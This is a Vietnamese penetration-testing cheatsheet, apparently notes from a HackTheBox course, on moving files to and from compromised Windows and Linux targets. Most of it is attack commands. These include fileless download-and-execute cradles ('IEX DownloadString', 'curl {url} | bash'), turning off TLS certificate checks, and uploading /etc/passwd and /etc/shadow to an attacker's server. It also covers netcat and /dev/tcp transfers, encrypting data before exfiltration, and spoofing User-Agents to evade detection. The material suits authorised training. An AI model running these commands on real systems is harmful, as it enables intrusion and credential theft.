Icon

File Transfers Cheatsheet

Các kỹ thuật truyền tải file đến và từ máy mục tiêu (Windows & Linux)

December 21, 2025 September 5, 2025 Info

Cheatsheet này được note lại từ module File Transfers, nằm trong Penetration Tester Job Role Path của HackTheBox.

Windows

Upload

PowerShell Base64

Linux: kiểm tra MD5

md5sum {filename}

Linux: encode Base64 (copy output)

cat {filename} | base64 -w 0; echo

Windows: decode từ Base64

[IO.File]::WriteAllBytes("{filename}", [Convert]::FromBase64String("{base64 strings}"))

Windows: xác nhận MD5

Get-FileHash {filename} -Algorithm md5

Note: cmd.exe giới hạn chuỗi 8191 ký tự.

PowerShell Web

Note: outbound HTTP/HTTPS thường được allow; có thể bị Web filtering (block loại file như .exe, whitelist domain).

WebClient methods (download):

  • OpenRead / OpenReadAsync → Stream
  • DownloadData / DownloadDataAsync → Byte[]
  • DownloadFile / DownloadFileAsync → ghi file
  • DownloadString / DownloadStringAsync → String

Download file:

(New-Object Net.WebClient).DownloadFile('{url}','{filename}')
(New-Object Net.WebClient).DownloadFileAsync('{url}', '{filename}')

Fileless (IEX DownloadString):

IEX (New-Object Net.WebClient).DownloadString('{url}')
(New-Object Net.WebClient).DownloadString('{url}') | IEX

Invoke-WebRequest (aliases: iwr, curl, wget):

iwr {url} -OutFile {filename}

IE first-launch chưa config → dùng -UseBasicParsing:

Invoke-WebRequest {url} -UseBasicParsing | IEX

SSL/TLS cert không trusted → bypass:

IEX(New-Object Net.WebClient).DownloadString('{url}')

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Download cradles: https://gist.github.com/HarmJ0y/bb48307ffa663256e239

SMB

Start SMB server (Impacket):

sudo impacket-smbserver share -smb2support /tmp/smbshare

Copy từ SMB (unauthenticated, nếu được allow):

copy \\{ip}\share\nc.exe

Windows mới block guest access → tạo SMB auth + mount:

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
net use n: \\192.168.220.133\share /user:test test

copy n:\nc.exe

Note: Nếu lỗi khi copy \\IP\share\file → mount drive trước rồi copy.

FTP

Cài FTP server (pyftpdlib):

sudo pip3 install pyftpdlib

sudo python3 -m pyftpdlib --port 21

PowerShell tải từ FTP:

(New-Object Net.WebClient).DownloadFile('ftp://{ip}/{filename}', '{filename}')

Không có interactive shell → dùng FTP command file:

echo open {ip} > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET {filename} >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
more {filename}

Download

PowerShell Base64

Encode file trên Windows:

[Convert]::ToBase64String((Get-Content -path "{filename}" -Encoding byte))

Xác nhận MD5 trên Windows:

Get-FileHash "{filename}" -Algorithm MD5 | select Hash

Decode trên Linux:

echo {base64} | base64 -d > {filename}

Xác nhận MD5 trên Linux:

md5sum {filename}

PowerShell Web

Cài web server có upload:

pip3 install uploadserver

python3 -m uploadserver

Upload bằng https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Invoke-FileUpload -Uri http://{ip}:{port}/upload -File {filename}

PowerShell Base64 Web

Tạo base64 string trong PowerShell và POST:

$b64 = [System.convert]::ToBase64String((Get-Content -Path '{filename}' -Encoding Byte))

Invoke-WebRequest -Uri http://{ip}:{port}/ -Method POST -Body $b64

Bắt dữ liệu với netcat, sau đó decode:

nc -lvnp 8000

echo {base64} | base64 -d -w 0 > {filename}

SMB / WebDAV

Cài WebDAV (option nếu SMB bị chặn ra ngoài):

sudo pip3 install wsgidav cheroot

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Liệt kê share WebDAV từ Windows:

dir \\{ip}\DavWWWRoot

Upload file qua DavWWWRoot / sharefolder:

copy C:\Users\john\Desktop\SourceCode.zip \\{ip}\DavWWWRoot\

copy C:\Users\john\Desktop\SourceCode.zip \\{ip}\sharefolder\

FTP

Khởi động FTP server cho upload:

sudo python3 -m pyftpdlib --port 21 --write

Upload bằng PowerShell:

(New-Object Net.WebClient).UploadFile('ftp://{ip}/ftp-hosts', '{filename}')

Tạo ftp command file và dùng ftp client:

echo open {ip} > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT {filename} >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Linux

Download

Base64

Kiểm tra MD5:

md5sum id_rsa

Encode (copy output):

cat id_rsa | base64 -w 0; echo

Decode trên Linux:

echo -n '{base64}' | base64 -d > id_rsa

Xác nhận MD5 trên Linux:

md5sum id_rsa

wget/curl

wget {url} -O {filename}
curl -o {filename} {url}

Fileless

curl {url} | bash
wget -qO- {url} | python3

Bash /dev/tcp

Mở kết nối TCP:

exec 3<>/dev/tcp/{ip}/80

Gửi HTTP GET:

echo -e "GET {filename} HTTP/1.1\n\n">&3

Đọc phản hồi:

cat <&3

SSH / SCP

Kích hoạt SSH server trên target:

sudo systemctl enable ssh

sudo systemctl start ssh

Kiểm tra port SSH đang listen trên target:

netstat -lnpt

Download file từ target dùng scp:

scp {user}@{ip}:{filename} .

Upload

Upload Server

Cài uploadserver:

sudo python3 -m pip install --user uploadserver

Tạo self-signed certificate:

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Chuẩn bị thư mục và chạy HTTPS uploadserver:

mkdir https && cd https

sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Upload nhiều file từ target bằng curl (self-signed → --insecure):

curl -X POST https://{ip}/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Mini Webserver

Tạo web server nhanh (dùng để tải file từ target):

python3 -m http.server
python2.7 -m SimpleHTTPServer
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000

Tải file từ target về:

wget {ip}:{port}/{filename}

Note: inbound có thể bị firewall chặn — đây là pull từ target, không phải upload trực tiếp.

SCP

Upload file qua SSH/SCP:

scp {filename} {user}@{ip}:{filename}

Using Code

Thường gặp: Python, PHP, Perl, Ruby; Windows có cscript/mshta để chạy JavaScript/VBScript. Có ~700 ngôn ngữ — có thể viết code để download/upload/execute. One-liner: -c (Python), -r (PHP), -e (Ruby/Perl).

Python

Python 2 - Download

python2.7 -c 'import urllib;urllib.urlretrieve ("{url}", "{filename}")'

Python 3 - Download

python3 -c 'import urllib.request;urllib.request.urlretrieve("{url}", "{filename}")'

PHP

PHP Download với file_get_contents() + file_put_contents()

php -r '$file = file_get_contents("{url}"); file_put_contents("{filename}",$file);'

PHP Download với fopen() (stream read/write)

php -r 'const BUFFER = 1024; $fremote = 
fopen("{url}", "rb"); $flocal = fopen("{filename}", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

PHP pipe vào bash (fileless)

php -r '$lines = @file("{url}"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Note: URL có thể dùng làm filename nếu fopen wrappers được enable.

Ruby / Perl

Ruby - Download

ruby -e 'require "net/http"; File.write("{filename}", Net::HTTP.get(URI.parse("{url}")))'

Perl - Download

perl -e 'use LWP::Simple; getstore("{url}", "{filename}");'

JavaScript

wget.js (ActiveX trên Windows)

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Chạy bằng cscript.exe

cscript.exe /nologo wget.js {url} {filename}

VBScript

wget.vbs

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

Chạy bằng cscript.exe

cscript.exe /nologo wget.vbs {url} {filename}

Upload (Python3)

Start uploadserver

python3 -m uploadserver 

Output:

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
import requests 

URL = "http://{ip}:8000/upload"

file = open("{filename}","rb")

r = requests.post(url,files={"files":file})

Upload one-liner (client)

python3 -c 'import requests;requests.post("http://{ip}:8000/upload",files={"files":open("{filename}","rb")})'

Miscellaneous

Netcat/Ncat

Netcat (nc) / Ncat — đọc/ghi TCP/UDP, dùng để chuyển file.

Listen on Target

Target lắng nghe port 8000, ghi ra {filename}

nc -l -p 8000 > {filename}

Target Ncat cần --recv-only

ncat -l -p 8000 --recv-only > {filename}

Attacker tải file rồi gửi đến victim (Original nc, -q 0 đóng kết nối khi xong)

wget -q {url}

nc -q 0 {ip} 8000 < {filename}

Attacker dùng Ncat (--send-only)

wget -q {url}

ncat --send-only {ip} 8000 < {filename}

Listen on Attacker

Attacker lắng nghe (ví dụ port 443) và gửi file làm input:

sudo nc -l -p 443 -q 0 < {filename}

Target kết nối tới attack host để nhận file:

nc {ip} 443 > {filename}

Attacker lắng nghe với Ncat (--send-only):

sudo ncat -l -p 443 --send-only < {filename}

Target kết nối Ncat với --recv-only:

ncat {ip} 443 --recv-only > {filename}

Bash

Nếu không có nc/ncat — dùng Bash /dev/tcp (target nhận file)

Attacker:

sudo nc -l -p 443 -q 0 < {filename}

Target:

cat < /dev/tcp/{ip}/443 > {filename}

Note: có thể đảo hướng bằng cùng cách.

PowerShell Remoting

Yêu cầu: phải có quyền admin, hoặc nằm trong Remote Management Users, hoặc có quyền explicit trong session config. Enabling remoting tạo HTTP/HTTPS listeners trên TCP/5985 (HTTP) và TCP/5986 (HTTPS).

Kiểm tra kết nối WinRM (ví dụ từ {domain1} tới {domain2}):

Test-NetConnection -ComputerName {domain2} -Port 5985

Result:

ComputerName     : {domain2}
RemoteAddress    : {remote_ip}
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : {source_ip}
TcpTestSucceeded : True

Tạo session tới {domain2}:

$Session = New-PSSession -ComputerName {domain2}

Copy file từ local → remote session:

Copy-Item -Path {filename} -ToSession $Session -Destination C:\Users\Administrator\Desktop\

Copy file từ remote session → local:

Copy-Item -Path {filename} -Destination C:\ -FromSession $Session

RDP

Mount local folder bằng rdesktop:

rdesktop {ip} -d {domain} -u {user} -p '{password}' -r disk:linux='{directory}'

Mount local folder bằng xfreerdp:

xfreerdp /v:{ip} /d:{domain} /u:{user} /p:'{password}' /drive:linux,{directory}

Truy cập thư mục qua \\tsclient\ trong Remote Desktop.

image

mstsc.exe (Windows Remote Desktop client) có thể dùng thay thế. Lưu ý: drive được expose chỉ truy cập được bởi session đang kết nối, không cho người dùng khác trên target.

image

Secure Transfer

Windows

Mục tiêu: mã hoá file/strings trước khi exfiltrate nếu transport không an toàn.

Dùng https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1 (PowerShell) để Encrypt/Decrypt.

Import module:

Import-Module .\Invoke-AESEncryption.ps1

Encrypt file:

Invoke-AESEncryption -Mode Encrypt -Key "{password}" -Path {filename}
# Output: File encrypted to {filename}.aes

Decrypt file:

Invoke-AESEncryption -Mode Decrypt -Key "{password}" -Path {filename}.aes
# output: {filename}

Encrypt string:

Invoke-AESEncryption -Mode Encrypt -Key "{password}" -Text "Secret Text"
# trả về Base64 ciphertext

Decrypt string:

Invoke-AESEncryption -Mode Decrypt -Key "{password}" -Text "{base64}"
# trả về plaintext

Lưu ý: dùng password mạnh, khác nhau cho từng khách hàng để tránh rủi ro giải mã nếu password bị lộ.

Linux

Dùng openssl enc để mã hoá file (ví dụ -aes256, -iter 100000, -pbkdf2).

Encrypt:

openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

Decrypt:

openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd

Có thể dùng bất kỳ phương pháp transfer nào đã học để chuyển file đã mã hoá; ưu tiên dùng transport an toàn (HTTPS, SFTP, SSH) nếu khả dụng.

HTTP/S (Nginx PUT)

Tạo thư mục upload:

sudo mkdir -p /var/www/uploads/SecretUploadDirectory

Phân quyền cho www-data:

sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

Tạo config Nginx /etc/nginx/sites-available/upload.conf

server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}

Enable site và restart

sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

sudo systemctl restart nginx.service

Gỡ default site (nếu lỗi port 80 đã sử dụng)

sudo rm /etc/nginx/sites-enabled/default

Test upload bằng cURL (PUT)

curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt

Note: Ưu tiên HTTPS để mã hóa in-transit; tránh lộ plaintext. Kiểm tra directory listing không mở tại /SecretUploadDirectory (Nginx mặc định không bật listing).

Evading Detection

User-Agent

Đổi User-Agent trong Invoke-WebRequest để giả lập IE/Firefox/Chrome/Opera/Safari.

Ví dụ liệt kê các User-Agent có sẵn:

[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
Name       : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; en-US)

Name       : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) Gecko/20100401 Firefox/4.0

Name       : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
             Safari/534.6

Name       : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; en-US) Presto/2.2.1

Name       : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
             Safari/533.16

Request dùng Chrome User-Agent

$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome

Invoke-WebRequest http://{ip}/nc.exe -UserAgent $UserAgent -OutFile "{filename}"

Living Off The Land